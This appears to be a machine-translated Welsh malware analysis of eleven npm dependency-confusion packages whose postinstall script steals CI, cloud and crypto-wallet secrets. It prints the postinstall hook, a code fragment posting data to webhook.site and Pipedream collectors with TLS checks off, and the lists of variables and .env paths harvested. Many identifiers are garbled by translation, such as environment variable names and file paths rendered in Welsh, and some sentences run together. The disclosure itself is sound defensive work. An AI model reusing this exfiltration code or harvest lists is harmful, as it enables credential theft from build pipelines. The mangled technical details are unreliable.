TL; DR
Ar 2026-06-17, cyhoeddwyd un cyfrif npm un ar ddeg o becynnau sy'n rhannu un pwrpas ac un llwyth tâlMae deg ohonyn nhw'n cario'r cryptodao- rhagddodiad (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); yr unfed ar ddeg yw'r un wedi'i gwmpasu @public-for-cdao/coreCyhoeddwyd pob un yn y fersiwn 99.99.99 ac yn llongau beit-unfath recon.js sy'n rhedeg ymlaen postinstall.
Yr enwau yw'r arwydd. Maen nhw'n darllen fel blociau adeiladu mewnol cadwyn offer breifat prosiect crypto/DAO. Wedi'u cyhoeddi i'r gofrestrfa npm gyhoeddus ar fersiwn artiffisial o uchel, maen nhw'n aros am adeiladwaith. pipeline sydd wedi'i ffurfweddu i ddatrys yr enwau hynny ac sy'n cyrraedd npm cyhoeddus cyn — neu yn lle — y gofrestrfa breifat. Dyma dryswch dibyniaeth, ac mae'r llwyth tâl wedi'i diwnio ar gyfer yn union ble mae'n disgwyl glanio: CI/CD rhedwyr.
Pryd postinstall tanau, recon.js yn casglu manylion y gwesteiwr, yn ysgubo'n fras deugain o newidynnau amgylcheddol cwmwl, CI, a crypto-waled, yn darllen unrhyw .env ffeiliau y gall ddod o hyd iddynt ac anfon y llinellau sy'n dwyn y gyfrinach ymlaen air am air, yna trosglwyddo'r bwndel i ddau gasglwr — webhook.site a phwynt terfyn Pipedream — gyda dilysu tystysgrif TLS wedi'i analluogi. Mae copi hefyd wedi'i ysgrifennu o dan /tmp.
Difrifoldeb: uchelEcosystem yr effeithiwyd arni: npmRoedd pob un o'r un ar ddeg pecyn yn fyw ar adeg ysgrifennu.
Anatomeg ymosod
Mae gan y mecanwaith bedair rhan symudol, ac nid oes yr un ohonynt yn gynnil unwaith y byddwch chi'n gwybod edrychwch un haen heibio enw'r pecyn.
1. Chwyddiant fersiynau fel deniad datrys. Mae pob pecyn yn datgan fersiwn 99.99.99Mae dryswch dibyniaeth yn gweithio pan fydd rheolwr pecynnau'n gofyn am enw mewnol, hefyd yn gwirio'r gofrestrfa gyhoeddus ac yn dewis y fersiwn uchaf ohono finds. Dewis diofyn npm ar gyfer ystod caret neu wildcard yw'r y fersiwn fwyaf boddhaol ar draws pob ffynhonnell wedi'i ffurfweddu; os yw'r ddau yn breifat ateb y gofrestrfa a'r npm cyhoeddus ar gyfer yr un enw, y rhif fersiwn mwy sy'n ennill. A 99.99.99 yn rhagori ar unrhyw fersiwn fewnol go iawn a fydd gan brosiect yn y bôn wedi'i gyrraedd, felly mae datrysydd nad yw wedi'i binio i'r ffynhonnell breifat yn well ganddo'r copi cyhoeddus — ac yn yr achos hwn, copi gelyniaethus. Nid oes angen i'r gweithredwr wybod y rhifau fersiwn go iawn y targed; mae dewis uchafswm hurt yn gwarantu'r gêm gyfartal bob amser yn torri eu ffordd.
2. Sbardun ôl-osod. pecyn.json gwifrau'r llwyth tâl i'r gosodiad cylch bywyd:
{ "scripts": { "postinstall": "node recon.js" } } Nid oes angen mewnforio'r pecyn. Dim ond ei osod — sef CI pipeline yn awtomatig — yn rhedeg recon.js.
3. Chwiliad cyfrinachol eang. recon.js yn llunio arae canlyniadau mewn camau:
- Cyd-destun gwesteiwr: enw gwesteiwr, platfform a rhyddhad, pensaernïaeth, enw defnyddiwr, gweithio cyfeiriadur.
- Newidynnau amgylcheddol: mae'n ailadrodd rhestr sefydlog o tua deugain o enwau a chofnodion unrhyw rai sydd wedi'u gosod. Mae'r rhestr yn ddadlennol — mae'n paru tocynnau CI generig (CI_JOB_TOKEN, CYFRINAIR_COFRESTRFA_CI, TOCYN_MYNEDIAD_GITLAB) a chwmwl cymwysterau (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, TOCYN_SES_AWS) gyda chyfrinachau cofrestrfa a chynhwysydd (NPM_TOKEN, CYFRINAIR_DOCKER, CYFRINAIR_HARBOR) a chlwstwr â blas crypto penodol: ALLWEDD_BREIFAT, MNEMONIG, YMDRA_HADAU, ALLWEDD_API_INFURA, ALLWEDD_API_ALCHEMY, ETH_RPC, BSC_RPCMae gwerthoedd a gofnodwyd yn cael eu cwtogi i'r 50 nod cyntaf.
- .env ffeiliau: mae'n archwilio rhestr o lwybrau — .env, ../.amgylchedd, /app/.amgylchedd, /app/backend/.amgylchedd, /app/bot/.amgylchedd, /cartref/gitlab-rhedwr/.amg, /gwreiddyn/.amgylchedd, trawiadol a .cynhyrchu/.datblygiad amrywiadau — ac ar gyfer unrhyw ffeil sy'n bodoli, mae'n yn hidlo'r cynnwys i linellau sy'n cyfateb ALLWEDD|CYFRIN|TOCYNNAU|PAS|PREIFAT|MNEMONIG ac yn gwthio'r llinellau hynny **yn llawn, heb eu cwtogi** i'r canlyniadau.
- Cyd-destun adeiladu-gwesteiwr: mae'n rhestru'r 20 cofnod cyntaf o /adeiladu/, /cartref/gitlab-rhedwr/adeiladau/, /var/lib/gitlab-runner/, a /tmp/.
Mae'r rhestr llwybrau a'r rhestr newidynnau wedi'u pwysoli tuag at redwyr GitLab, sy'n pwyntio y llwyth tâl yn uniongyrchol ar seilwaith CI hunangynhaliol yn hytrach na datblygwr gliniadur. Mae grwpio'r rhestr gynaeafu yn ôl categori yn gwneud y casgliad bwriadedig yn glir:
| Categori | Newidynnau / llwybrau wedi'u cyrraedd |
|---|---|
| CI/CD hunaniaeth a defnyddio | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| cloud | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Cofrestrfa a chynhwysydd | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Storfeydd data | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Crypto / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Negeseuon | SLACK_TOKEN, DISCORD_TOKEN |
| Ar y ddisg | .env teulu + /home/gitlab-runner/.env, /root/.env, /app/**/.envrhestrau cyfeiriadur o /builds/, /var/lib/gitlab-runner/ |
Y clwstwr crypto yw'r rhan sy'n gwahaniaethu hyn oddi wrth gyfrinach CI generig ysgubo: dim ond yn amgylchedd a y mae ymadroddion hadau waled ac allweddi llofnodi yn ymddangos prosiect blockchain, ac maen nhw'n mapio'n uniongyrchol ar y cryptodao-/arwydd/contractau enwi'r cludwyr.
4. All-hidlo deuol gyda dilysu wedi'i analluogi. Y rhes a gasglwyd yw wedi'i gyfresu a'i bostio i ddau gyrchfan:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) gwrthodHeb awdurdod: ffug yn diffodd gwiriadau tystysgrif TLS ar gyfer yr all-gyfeiriad galwadau. Mae'r un data yn cael ei argraffu i stdout (felly mae hefyd yn glanio mewn logiau swyddi CI) a wedi'i ysgrifennu i /tmp/.npm_recon_ .jsonMae gwallau'n cael eu llyncu'n dawel, felly Nid yw anfon a fethwyd yn gadael unrhyw olion yn allbwn y gosodiad y tu hwnt i un [adfywio] wedi'i osod ar llinell.
Mae sylw blaenllaw yn y ffeil yn ei ddisgrifio fel “Dryswch Dibyniaeth Llwyth Talu Rhagchwilio.” Mae cwtogi gwerthoedd amgylcheddol i 50 nod wedi siâp prawf o gysyniad. Yr hyn sy'n ei symud heibio i oleudy presenoldeb yn unig yw'r .env trin: mae llinellau sy'n dwyn cyfrinachau yn cael eu hanfon ymlaen yn llawn, a'r cyrchfannau dau gasglwr sy'n gweithio, dan reolaeth ymosodwr, yn hytrach na sinc sydd ond yn cyfrif trawiadau.
Llinell Amser
Y patrwm cyhoeddi yw llofnod gwthiad sgriptiedig sengl, nid un ar ddeg uwchlwythiadau annibynnol.
| Amser (UTC, 2026-06-17) | Digwyddiad |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 gyhoeddi |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — amrywiad cwmpasedig, ~24 munud yn ddiweddarach |
Aeth deg pecyn allan o fewn ffenestr 29 eiliad, tua un bob tair eiliad. Y cwmpas @cyhoeddus-ar-gyfer-cdao/craidd dilynodd tua 24 munud ar ôl — eiliad confensiwn enwi ar gyfer yr un targed, rhag ofn bod y prosiect sy'n defnyddio'r defnydd yn cyfeirio at y cadwyn offer fewnol o dan gwmpas yn hytrach nag fel enwau noeth.
Dangosyddion cyfaddawd
| math | Dangosydd |
|---|---|
| Casglwr | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Casglwr | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Gosod bachyn | postinstall: node recon.js |
| Ffeil wedi'i gollwng | /tmp/.npm_recon_<timestamp>.json |
| Marciwr log | [recon] <pkg>@<ver> installed on <hostname> (stdout mewn logiau CI) |
| Ymddygiadol | rejectUnauthorized: false ar HTTPS allanol yn ystod y gosodiad |
| Llwyth Tâl | recon.js, yn union yr un fath ar draws yr un ar ddeg pecyn (un adeiladwaith a rennir) |
| fersiwn | 99.99.99 ar bob pecyn |
| Pecynnau | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (I gyd 99.99.99) |
| Cyhoeddwr | aduljune / aduljune@proton.me (e-bost heb ei wirio, dim storfa ffynhonnell gysylltiedig) |
Priodoliad ac ymddygiad a welwyd
Mae popeth am y clwstwr yn pwyntio at un llaw. Cyhoeddwyd yr un ar ddeg pecyn i gyd. gan y cyfrif npm aduljune (aduljune@proton.me, cyfeiriad heb ei wirio heb storfa ffynhonnell gysylltiedig), o fewn cyfnod o 25 munud, ar yr un pryd 99.99.99 fersiwn, cludo recon.js y mae ei gynnwys yn union yr un fath beit-am-beit ar draws pob pecyn (mae MD5 yn cyfateb ar draws yr un ar ddeg copi a dynnwyd). Dyna un llwyth tâl wedi'i stampio ar restr o enwau, nid ailddefnyddio cod annibynnol.
Mae'r rhestr enwau yn diffinio'r targed bwriadedig. cryptodao-* ac cdao disgrifiwch y cynllun modiwl preifat prosiect crypto/DAO, a rhestr gynaeafu'r llwyth tâl drychau sy'n dyfalu: ochr yn ochr â'r CI generig a chyfrinachau'r cwmwl, mae'n benodol estyn am ALLWEDD_BREIFAT, MNEMONIG, YMDRA_HADAU, ac Ethereum/BSC RPC a allweddi'r darparwr. Y .env llwybrau chwilio a rhestrau cyfeiriaduron yw GitLab-runner penodol. Yr effaith arsylwadwy yw bod unrhyw pipeline wedi'i dwyllo i osod y rhain byddai enwau'n anfon ei docynnau CI, allweddi cwmwl, ac ar y ddisg ymlaen .env cyfrinachau — ac, ar gyfer prosiect blockchain, ei ddeunydd waled — i ddau gasglwr trydydd parti.
Nid ydym yn gwneud unrhyw honiad ynghylch pwy sy'n gweithredu'r cyfrif na'r hyn yr oeddent yn bwriadu ei wneud â'r data. Y ffeithiau sy'n sefyll ar eu pen eu hunain: mae'r enwau'n targedu math penodol o cadwyn offer fewnol, mae'r llwyth tâl yn darllen ac yn trosglwyddo gwerthoedd cyfrinachol go iawn, a'r roedd y seilwaith yn fyw.
Effaith, tueddiadau, a chanllawiau amddiffynwyr
Dryswch dibyniaeth yn parhau i fod yn effeithiol oherwydd ei fod yn manteisio ar ymddygiad datryswr, nid bregusrwydd mewn unrhyw becyn. Mae'r cludwr yma yn ddibwys — un ar ddeg bron yn wag pecynnau — ond radiws y ffrwydrad yw beth bynnag pipeline yn ffafrio npm cyhoeddus ar gam am enw mewnol. Rhedwyr CI yw'r lle gwaethaf i hynny ddigwydd: maen nhw'n dal yn union y tocynnau a .env ffeiliau y mae'r llwyth tâl hwn yn eu darllen, ac maen nhw'n eu gosod dibyniaethau nad ydynt yn rhyngweithiol, felly a ôl-osod yn rhedeg heb neb yn gwylio.
Mae'r clwstwr hwn hefyd yn cyd-fynd â phatrwm rydyn ni'n ei weld yn gyson: llwythi tâl amser gosod sy'n cyflwyno fel “ymchwil” neu “archwilio” wrth gasglu tystlythyrau go iawn. Y label yn y ffeil nid yw'n newid yr hyn y mae'r cod yn ei wneud ar redwr. Mae dau ddewis dylunio yn cadw y gweithgaredd yn dawel: mae pob gweithrediad rhwydwaith a system ffeiliau wedi'i lapio mewn trinwr eithriadau sy'n gwaredu gwallau, felly anfon wedi'i rwystro neu ffeil ar goll nid yw'n cynhyrchu unrhyw allbwn diagnostig, a'r unig beth a argraffir yw un allbwn diniwed [adfer] … wedi'i osod llinell sy'n cymysgu i mewn i sgwrs gosod arferol. Y defnydd o gwefan.bwc ac mae Pipedream hefyd yn gyfleustra bwriadol — mae'r ddau am ddim, gwasanaethau cipio ceisiadau wedi'u darparu ar unwaith, felly nid oes angen gweinyddion ar y gweithredwr o eu rhai eu hunain ac mae'r cyrchfannau'n edrych fel enwau gwesteiwr SaaS cyffredin mewn logiau allfa.
Yr economeg sy'n gwneud hyn yn werth sylw amddiffynwr er bod y Mae cod cludwr yn ddibwys. Nid yw cofrestru un ar ddeg o enwau yn costio dim, mae'r llwyth tâl yn un ffeil wedi'i chopïo un ar ddeg o weithiau, ac mae rheolwr y pecynnau'n gwneud yr holl weithredu. Un sengl wedi'i gamffurfweddu pipeline mae unrhyw le sy'n defnyddio un o'r enwau hyn yn talu am y cyfan gweithredu.
Camau concrit i amddiffynwyr:
- Pinio cwmpasau mewnol i'ch cofrestrfa breifat. Ffurfweddu npm felly enwau mewnol
a dim ond yn erbyn eich cofrestrfa y mae cwmpasau'n datrys (mapiau cofrestrfa .npmrc â chwmpas, neu ddirprwy nad yw byth yn mynd trwodd i npm cyhoeddus ar gyfer gofodau enwau sy'n eiddo i chi). Cadwch eich enwau cwmpas cyhoeddus fel na all neb arall eu cofrestru.
- Commit cloi ffeiliau a gosod gyda –ignore-scripts yn CI lle bo'n bosibl, neu gwirio'r set fach o ddibyniaethau sydd wir angen sgriptiau gosod. Ni all recon.js redeg os ôl-osod nid yw'n cael ei weithredu.
- Trin fersiwn 99.99.99 (neu fersiwn arall sy'n afresymol o uchel) o enw sy'n edrych yn fewnol fel baner goch mewn adolygu dibyniaethau a monitro'r gofrestrfa.
- Rhybudd ar allanfa amser gosod. A ôl-osod sy'n agor HTTPS allanol cysylltiad — yn enwedig gyda dilysu tystysgrif wedi'i analluogi — i Mae'n werth blocio webhook.site, Pipedream, neu wasanaethau cipio ceisiadau tebyg ar ymyl y rhwydwaith a'u nodi mewn logiau adeiladu.
- Hela am yr arteffactau. Gwiriwch rhedwyr am /tmp/.npm_recon_*.json ac am y [adfer] … wedi'i osod ar … marcwr mewn logiau CI diweddar. Os canfyddir, cylchdroi bob tystlythyr sy'n agored i hynny pipeline — Tocynnau CI, allweddi cwmwl, tocynnau cofrestrfa, ac unrhyw hadau waled neu allweddi preifat sy'n bresennol yn yr amgylchedd neu ffeiliau .env.
Cyfeiriadau
Nid oedd unrhyw adroddiadau allanol ar y clwstwr hwn yn bodoli ar adeg ysgrifennu; y dadansoddiad mae'r uchod yn seiliedig yn uniongyrchol ar gynnwys y pecyn cyhoeddedig




